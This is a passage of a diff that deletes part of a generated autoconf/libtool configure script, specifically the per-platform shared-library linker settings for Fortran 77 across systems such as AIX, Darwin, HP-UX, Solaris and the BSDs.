-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec_F77='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds_F77='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs_F77" = no; then
- runpath_var=
- hardcode_libdir_flag_spec_F77=
- export_dynamic_flag_spec_F77=
- whole_archive_flag_spec_F77=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag_F77=unsupported
- always_export_symbols_F77=yes
- archive_expsym_cmds_F77='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L_F77=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct_F77=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_F77='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_F77='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_F77=''
- hardcode_direct_F77=yes
- hardcode_libdir_separator_F77=':'
- link_all_deplibs_F77=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_F77=yes
- else
- # We have old collect2
- hardcode_direct_F77=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_F77=yes
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_libdir_separator_F77=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_F77=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_F77='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds_F77="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_F77='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_F77="-z nodefs"
- archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_F77=' ${wl}-bernotok'
- allow_undefined_flag_F77=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_F77='$convenience'
- archive_cmds_need_lc_F77=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs_F77=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec_F77=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec_F77=' '
- allow_undefined_flag_F77=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds_F77='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds_F77='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds_F77='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path_F77='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes_F77=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_F77='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_F77='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_F77=no
- hardcode_direct_F77=no
- hardcode_automatic_F77=yes
- hardcode_shlibpath_var_F77=unsupported
- whole_archive_flag_spec_F77=''
- link_all_deplibs_F77=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds_F77='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_F77='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_F77=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_shlibpath_var_F77=no
- ;;
-
- freebsd1*)
- ld_shlibs_F77=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes
- hardcode_minus_L_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds_F77='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds_F77='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds_F77='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- hardcode_direct_F77=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
-
- hardcode_direct_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_F77='+b $libdir'
- hardcode_direct_F77=no
- hardcode_shlibpath_var_F77=no
- ;;
- *)
- hardcode_direct_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_F77='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld_F77='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- link_all_deplibs_F77=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds_F77='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- newsos6)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- hardcode_shlibpath_var_F77=no
- ;;
-
- openbsd*)
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_F77='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- ;;
- *)
- archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
- allow_undefined_flag_F77=unsupported
- archive_cmds_F77='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds_F77='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag_F77=' -expect_unresolved \*'
- archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag_F77=' -expect_unresolved \*'
- archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_F77='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec_F77='-rpath $libdir'
- fi
- hardcode_libdir_separator_F77=:
- ;;
-
- solaris*)
- no_undefined_flag_F77=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds_F77='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds_F77='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_shlibpath_var_F77=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec_F77='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec_F77='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs_F77=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds_F77='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_direct_F77=yes
- hardcode_minus_L_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds_F77='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds_F77='$CC -r -o $output$reload_objs'
- hardcode_direct_F77=no
- ;;
- motorola)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var_F77=no
- ;;
-
- sysv4.3*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_F77=no
- export_dynamic_flag_spec_F77='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_F77=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs_F77=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag_F77='${wl}-z,text'
- archive_cmds_need_lc_F77=no
- hardcode_shlibpath_var_F77=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag_F77='${wl}-z,text'
- allow_undefined_flag_F77='${wl}-z,nodefs'
- archive_cmds_need_lc_F77=no
- hardcode_shlibpath_var_F77=no
- hardcode_libdir_flag_spec_F77='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_F77=':'
- link_all_deplibs_F77=yes
- export_dynamic_flag_spec_F77='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_shlibpath_var_F77=no
- ;;
-
- *)
- ld_shlibs_F77=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_F77" >&5
-$as_echo "$ld_shlibs_F77" >&6; }
-test "$ld_shlibs_F77" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_F77" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_F77=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_F77 in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
